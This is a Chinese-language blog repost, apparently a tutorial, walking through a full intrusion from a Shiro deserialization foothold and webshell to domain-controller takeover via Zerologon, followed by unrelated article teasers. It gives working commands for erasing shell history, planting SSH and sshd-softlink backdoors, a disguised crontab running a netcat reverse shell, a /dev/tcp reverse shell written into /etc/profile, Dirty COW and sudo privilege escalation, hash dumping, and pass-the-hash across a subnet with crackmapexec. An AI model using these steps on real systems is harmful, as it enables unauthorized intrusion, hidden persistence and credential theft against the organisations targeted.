网络安全:内网渗透实例,小白也能看懂内网渗透

news2024/10/6 12:30:12

一、前言

从 linux 打进去到域环境,到获取域控权限。全篇实操

二、外网打点

1、打开站点,很正常的一个登录界面

2、尝试登录后发现典型的 shiro 特征。

3、使用工具直接打 shiro 反序列化即可。

4、直接上冰蝎马,连接

【一>所有资源获取<一】1、200 份很多已经买不到的绝版电子书 2、30G 安全大厂内部的视频资料 3、100 份 src 文档 4、常见安全面试题 5、ctf 大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线

三、权限维持

权限维持其实看了很多文章,都是有包括修改用户的,但是因为应急响应排查最先的就是用户登录情况,/etc/passwd,/etc/shadow 文件修改情况,所以这里其实不太推荐这样做。当然下面介绍的几种也是比较常用的,简单操作的,操作其实还是有些明显的,可以挑选一两个用就好,毕竟,操作越少被发现的可能就越低嘛;也可以选择做多几个权限维持,一个去掉了还有另一个嘛~

(一)、隐藏历史记录

1、在命令前加空格,命令不会被记录[空格]cat /etcpasswd

cat /etc/passwd

可以看到命令只记录了一条

2、设置命令不记录

[空格]set +o history

复制代码

恢复

set -o history

3、删除 history 文件中指定行的命令,[num]为每行命令左边的标识。

history -d [num]

可以看到原本的 1 命令已被删除

4、粗暴点的,直接删除 history 文件内容

#向history文件写入空内容,覆盖原本内容echo > ~/.bash_history
#清空当前history记录history -c

复制代码

(二)、SSH 公钥写入

ssh 连接相当于拿到目标主机的一个 shell。除了使用账号密码进行连接以外,还有一种方式便是通过将 ssh 密钥写入**/root/.ssh/authorized_keys**目录下,然后便可以免密码登录了。

熟悉 redis 未授权访问漏洞的利用手法的话,对这种方式一定不会陌生。这也是一种留下后门的方式。

生成 ssh 密钥,输入命令,按三次回车即可

ssh-keygen -t rsa

生成后在~/.ssh/文件夹中发现密钥已经成功生成了。其中 id_rsa 为私钥,id_rsa.pub 为公钥

将 id_rsa.pub 文件内容输入到~/.ssh/authorized_keys 文件中,如果没有这个文件,那就自己新建

尝试 ssh 连接成功

ssh root@10.211.55.4

(三)、SSH 软连接

原理:在 sshd 服务配置启用 PAM 认证的前提下,PAM 配置文件中控制标志为 sufficient 时,只要 pam_rootok 模块检测 uid 为 0(root)即可成功登录。

也就是说当开启了 pam 认证后,只需要找到文件配置为 auth sufficient pam_rootok.so 的即可。1、输入命令,生成软连接,端口为 10022。

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=10022

2、ssh 连接,密码任意输入,成功登录。

3、好用是好用,但是容易被发现,输入 ps-aux 就可以发现了。

(四)、计划任务

1、新建一个 cron.sh 文件,这里我执行的命令是 nc 反弹 shell,使用其他命令也是可以的。

2、设置计划任务,这里*/3 表示每 3 分钟执行一次。

(crontab -l;printf "*/3 * * * * /bin/bash /tmp/cron.sh;/bin/bash --noprofile -i;\rno crontab for whoami%100c\n")|crontab -

3、成功隐藏计划任务

4、获取反弹 shell

(五)、通过环境变量植入后门

常见的环境变量路径如下:

/etc/profile/etc/profile.d/*.sh~/.bash_profile~/.profile~/.bashrc~/bash_logout/etc/bashrc/etc/bash.bashrc
代码

将反弹 shell 命令写入环境变量

echo 'bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1' >> /etc/profile

这样当系统重启了之后,便会将 shell 反弹到 vps 上了

四、主机信息收集

获取权限后,需要进行一定的信息收集

(一)、查询账户信息

whoami

id

cat /etc/passwd

cat /etc/shadow

(二)、查询网络和端口信息

ifconfig

netstat -anlp

arp -a

route -n

(三)、查询进程列表

ps -ef

(四)、查询系统和补丁信息

通过查询内核版本 uname -a 或者使用 rpm -qa 来查询安装了哪些软件包

(五)、凭证收取

cat /root/.bash_history    //历史输入命令cat ~/.bash_history    //历史输入命令

复制代码

w           //目前登录的用户

复制代码

五、提权

为了安全性考虑,渗透测试的站点往往会对一些数据库或者站点进行降权处理,降低了管理站点或者数据库的权限,防止攻击者获取了权限之后直接可以造成更大的威胁。这也就是表示在渗透测试过程中,我们获取的网站权限为低权限,只能做有限的一些操作,如果要突破当前主机进行内网渗透的话,我们需要拿到相对高的权限例如管理员权限,这样才能在当前服务器的基础上实现内网渗透。然后我们了解一下服务器的权限划分,在 windows 系统中,最高权限为 system 系统权限,最低的为 guest 权限。在 linux 系统中,最高权限为 root 权限。

(一)、内核漏洞提权

利用条件

系统对应内核存在某些漏洞,并且没有打上补丁,即有可能存在内核漏洞。

cat /etc/issue #查看发行版本uname -r             #查看内核版本

复制代码

实战演示

1、首先通过 linux 提权辅助工具 linux-exploit-suggester 来判断哪些漏洞可以用来溢出提权。

2、这里选择脏牛——CVE-2016-5195 来进行提权。首先下载对应的 exp,使用命令 gcc -pthread dirty.c -o dirty -lcrypt 命令对 dirty.c 进行编译,编译完成后会生成一个 dirty 文件。

3、执行 dirty 文件提权,在后面输入密码,获取一个 firefart 用户名,密码为我输入的密码的账户。

4、登录该用户,查看,已经成功获取 root 权限

(二)、SUID 提权

SUID 代表设置的用户 ID,是一种 Linux 功能,允许用户在指定用户的许可下执行文件。例如 apt-get 命令需要以 root 权限才能执行,我们可以设置 apt-get 对的 SUID,那么低权限用户也可以以 root 权限执行 apt-get 操作。SUID 的常见标识就是使用‘s’替换了‘x’。1、使用以下命令发现系统上运行的 SUID 可执行文件

find / -perm -u=s -type f 2>/dev/null

2、查看 find 命令,发现确实是使用了 s 来替换 x。

3、借助 find 命令进行命令执行,成功以 root 权限执行了命令

(三)、Sudo 配置错误

sudo 上存在这样一个漏洞,只要用户在使用 sudo 命令时指定 UID 为-1 或 4294967295,就可以以 root 身份执行命令。1、以 root 权限执行 id 命令sudo -u#-1 id

2、以 root 权限执行 whoami 命令sudo -u#-1 whoami

六、横向移动

横向移动方法很多,这里介绍一种在 2020 年公开的,可以直接攻击域控的漏洞。

(一)、CVE-2020-1472

NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用 NTLM 协议登录服务器,也用于 NTP 响应认证以及更新计算机域密码。微软 MSRC 于 8 月 11 日 发布了 Netlogon 特权提升漏洞安全通告。此漏洞 CVE 编号 CVE-2020-1472, CVSS 评分:10.0。由 Secura 公司的 Tom Tervoort 发现提交并命名为 ZeroLogon。

使用的工具:

1、exp

2、impacket 工具包

1、首先获取域内信息

net group "Domain Controllers" /domain

这里获取了域 ajie.cool、域控主机名 AD

2、使用 exp 将域控密码置空

python3 cve-2020-1472-exploit.py -n 域控主机名 -t 域控 IP

python3 cve-2020-1472-exploit.py -n AD -t 192.168.30.128

这里已经成功将密码进行置空处理了

3、利用 impacket 工具包中的 secretsdump.py 脚本获取 hash

python3 secretsdump.py ajie.cool/AD\$@192.168.30.128 -no-pass

Administrator:500:aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3:::
AD$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

复制代码

可以看到 AD$的 hash 为 31d6cfe0d16ae931b73c59d7e0c089c0 即空密码

获取 hash 后便可以进行 hash 破解或 PTH 了,这里就不多做展示。4、下一步我们需要还原密码。首先通过获取到的 hash,可以通过 wmiexec.py 进行 pth 攻击,拿到一个 shell

python3 wmiexec.py -hashes  aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128

复制代码

5、中间省略获取权限到远程桌面到步骤了,也可以 CS 上线啥的,主要为了方便下载 system.save、sam.save、security.save 文件即可。

6、通过 secretsdump.py 获取保存的 hash(文件路径根据自己的来设置,我这里因为在桌面所以通过../../跳转了)

python3 secretsdump.py -sam ../../sam.save -system ../../system.save -security ../../security.save LOCAL

复制代码

框出来的那一串,后面部门即为原本的 hash

75f490ed04ba66f04e0e947a185679bd

7、通过工具还原密码

python3 reinstall_original_pw.py AD 192.168.30.128 75f490ed04ba66f04e0e947a185679bd

复制代码

8、尝试了一下,no-pass 利用失败了

七、扩大战果

前面已经获取到域控的 NTLM hash,那么后面可以使用 Crackmapexec 批量获取主机权限(通过域控 NTLM hash,以及指定 IP 段进行攻击)kali 下进行安装

apt-get install crackmapexec

输入如下命令即可

proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x whoami
IP :指定要攻击的IP段-u :指定用户名-H :指定NTLM Hash-d :指定域-x :执行系统命令·

复制代码

可以看到返回了域控的管理员

proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x ipconfig

复制代码

【一一帮助安全学习(学习路线+视,频教程+工具)一一】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/410956.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【三十天精通 Vue 3】 第四天 Vue 3的模板语法详解

✅创作者&#xff1a;陈书予 &#x1f389;个人主页&#xff1a;陈书予的个人主页 &#x1f341;陈书予的个人社区&#xff0c;欢迎你的加入: 陈书予的社区 &#x1f31f;专栏地址: 三十天精通 Vue 3 文章目录引言一、Vue 3 模板语法概述1. Vue 3 模板语法的简介2. Vue 3 模板…

如虎添翼,强大插件让ChatGPT更加游刃有余

ChatGPT模型是当前人工智能领域中备受瞩目的存在。作为一款强大的自然语言处理模型&#xff0c;它具备跨时代的意义&#xff0c;将深刻影响我们的未来。而强大的插件不仅可以丰富ChatGPT的功能&#xff0c;提高其应对复杂问题的能力。还也可以解决一些常见的错误&#xff0c;如…

springboot打包成jar和war浅析

问题1&#xff1a;一个springboot项目&#xff0c;用mvn install打包成jar&#xff0c;换一台有jdk的机器就直接可以用java -jar 项目名.jar的方式运行&#xff0c;没任何问题&#xff0c;为什么这里不需要tomcat也可以运行了&#xff1f; 问题2&#xff1a;一个springboot项目…

js非常的混乱怎么学才能入门呢?

前言 ES5还是要学的喔&#xff0c;里面有很多重要的概念&#xff0c;跟ES6有着很强的关联性&#xff0c;大致上包括&#xff1a; 变量声明 ES5 使用var关键字来声明变量&#xff0c;而 ES6 引入了 let 和 const 关键字&#xff0c;用于声明块级作用域的变量和常量。这些新的关…

[图神经网络]空间关系感知关系网络(SGRN)-代码解析

&#xff01;&#xff01;&#xff01;这篇不涉及实现&#xff0c;仅从官方代码了解一下输出处理的思路&#xff0c;有机会的话会做实现&#xff0c;照例放出官方代码地址和之前写的论文解读&#xff1a; SGRN网络github项目地址https://github.com/simblah/SGRN_torch[图神经…

利用三个云服务器,搭建MongoDB副本集模式(主从模式)

1. 下载安装mongoDB 首先我们需要在三台服务器上分别下载和安装mongoDB。 1.1. 打开服务器&#xff0c;创建目录 创建目录结构如下图所示&#xff1a;&#xff08;日志文件会自动创建&#xff09; 1.2. 下载mongoDB压缩包 把压缩包下载到指定目录&#xff08;便于后期维护…

ChatGPT大规模封号+停止注册?最火概念会凉吗?

一、背景 这个周末&#xff0c;先是意大利暂时封杀ChatGPT&#xff0c;限制OpenAI处理本国用户信息。 接着&#xff0c;据韩国媒体报道&#xff0c;三星导入ChatGPT不到20天&#xff0c;便曝出机密资料外泄&#xff08;涉及半导体设备测量资料、产品良率等内容&#xff0c;已…

微信小程序 | 秋招颗粒无收 ?快用ChatGPT做一款模拟面试小程序

Pre&#xff1a;效果预览 ① 选择职位进行面试 ② 根据岗位职责进行回答 一、需求背景 这两年IT互联网行业进入寒冬期&#xff0c;降本增效、互联网毕业、暂停校招岗位的招聘&#xff0c;各类裁员、缩招的情况层出不穷&#xff01;对于这个市场来说&#xff0c;在经历了互联网…

阿里云的客服 锻炼你心性的 一种方式 !!!

阿里云的产品&#xff0c;非常棒&#xff0c;开发的同学非常棒&#xff0c;专家们更棒&#xff0c;但&#xff0c;一切的开始就怕一个但字&#xff0c;但我还的说&#xff0c;但&#xff0c;阿里云的客服&#xff0c;OMG &#xff0c;我已经忍耐了 1年了&#xff0c;是在忍不住…

手麻系统源码,手术麻醉管理系统源码,维护方便,功能强大

手术麻醉管理系统源码&#xff0c;手麻系统源码&#xff0c;C# .net 桌面软件 C/S版 文末获取联系&#xff01; 手术麻醉管理系统采用下拉式汉化菜单&#xff0c;界面友好&#xff0c;实用性强&#xff0c;设有与住院、病区、药房等系统的软件接口。 开发语言&#xff1a;C# …

代码随想录算法训练营第五十三天 | 1143. 最长公共子序列、1035. 不相交的线、53. 最大子数组和

1143. 最长公共子序列 动规五部曲 1、确定dp数组&#xff08;dp table&#xff09;以及下标的含义 dp[i][j]&#xff1a;长度为[0, i - 1]的字符串text1与长度为[0, j - 1]的字符串text2的最长公共子序列为dp[i][j] 2、确定递推公式 主要就是两大情况&#xff1a; text1[i…

vue+ts+vite+pinia+element plus+i18n国际化

第一步&#xff0c;安装vue-i18n&#xff08;我这里版本是9.2.2&#xff09; npm install vue-i18n element-plus --save 第二步&#xff0c;src文件夹下创建language文件夹&#xff0c;目录如下 第三步&#xff0c;定义本地中文英文 en.ts // en.ts export default {message…

UE DTCmd 插件说明

Exec CMD Exec CMD (Have Process) 在蓝图非阻塞的运行Windows命令行并输出返回值&#xff0c;而且可以时时监听输出内容。 可以直接运行某个程序&#xff08;输入程序完整路径&#xff09; 可以直接运行bat脚本&#xff0c;并在bat脚本里面运行你任何想做的操作。 Cmd : 需要…

花30分钟,我用ChatGPT写了一篇2000字文章(内附实操过程)

有了ChatGPT之后&#xff0c;于我来说&#xff0c;有两个十分明显的变化&#xff1a; 1. 人变的更懒 因为生活、工作中遇到大大小小的事情&#xff0c;都可以直接找ChatGPT来寻求答案。 2. 工作产出量更大 之前花一天&#xff0c;甚至更久才能写一篇原创内容&#xff0c;现…

【MySQL--04】数据类型

文章目录1.数据类型1.1数据类型分类1.2数值类型1.2.1tinyint类型1.2.2bit类型1.2.3小数类型1.2.3.1 float1.2.3.2 decimal1.3字符串类型1.3.1 char1.3.2 varchar1.3.3char和varchar的比较1.4日期和时间类型1.5 enum和set1.5.1 enum1.5.2 set1.5.3 示例1.数据类型 1.1数据类型分…

试题E:蜂巢 ——蓝桥杯第十三届省赛Java 大学A组

试题E&#xff1a;蜂巢 解析 很明显的一道坐标计算问题&#xff0c;只是通过看似比较复杂的描述而已。 题目定义了一种行走方向&#xff0c;大概就是一共六种行走方向&#xff0c;如果以o为原点&#xff0c;建立坐标系&#xff0c;那么方向0和3就是x轴。其他方向为分力即可&am…

【微信小程序】免费的高德地图api——获取天气(全过程)

介绍 这里是小编成长之路的历程&#xff0c;也是小编的学习之路。希望和各位大佬们一起成长&#xff01; 以下为小编最喜欢的两句话&#xff1a; 要有最朴素的生活和最遥远的梦想&#xff0c;即使明天天寒地冻&#xff0c;山高水远&#xff0c;路远马亡。 一个人为什么要努力&a…

硬件工程师需要掌握的PCB设计常用知识点

一个优秀的硬件工程师设计的产品一定是既满足设计需求又满足生产工艺的&#xff0c;某个方面有瑕疵都不能算是一次完美的产品设计。规范产品的电路设计&#xff0c;工艺设计&#xff0c;PCB设计的相关工艺参数&#xff0c;使得生产出来的实物产品满足可生产性、可测试性、可维修…

Windows 安装 Go1.20.3 顺便了解 go env 环境变量

文章目录1.下载与安装2.GOROOT3.Go 的包管理3.1 GOPATH 模式3.2 Go Modules 模式4.GOPATH5.GO111MODULE6.GOPROXY7.GOSUMDB8.GONOPROXY/GONOSUMDB/GOPRIVATE9.GOMODCACHE10.GOCACHE11.GOENV12.GOBIN13.参考资料1.下载与安装 参考文章&#xff1a;Golang V1.19.1 安装配置 (win…

Vue3带来了什么

目录性能方面的优化更好的TypeScript集成用于处理大规模用例的新API分层内部模块CompositionAPI更多RFC提供的两个新功能proxy代替defineProperty双向绑定性能方面的优化 首先是相对Vue2的一些性能改进&#xff1a; 通过摇树(减轻了多达41&#xff05;的资源大小)初始渲染&am…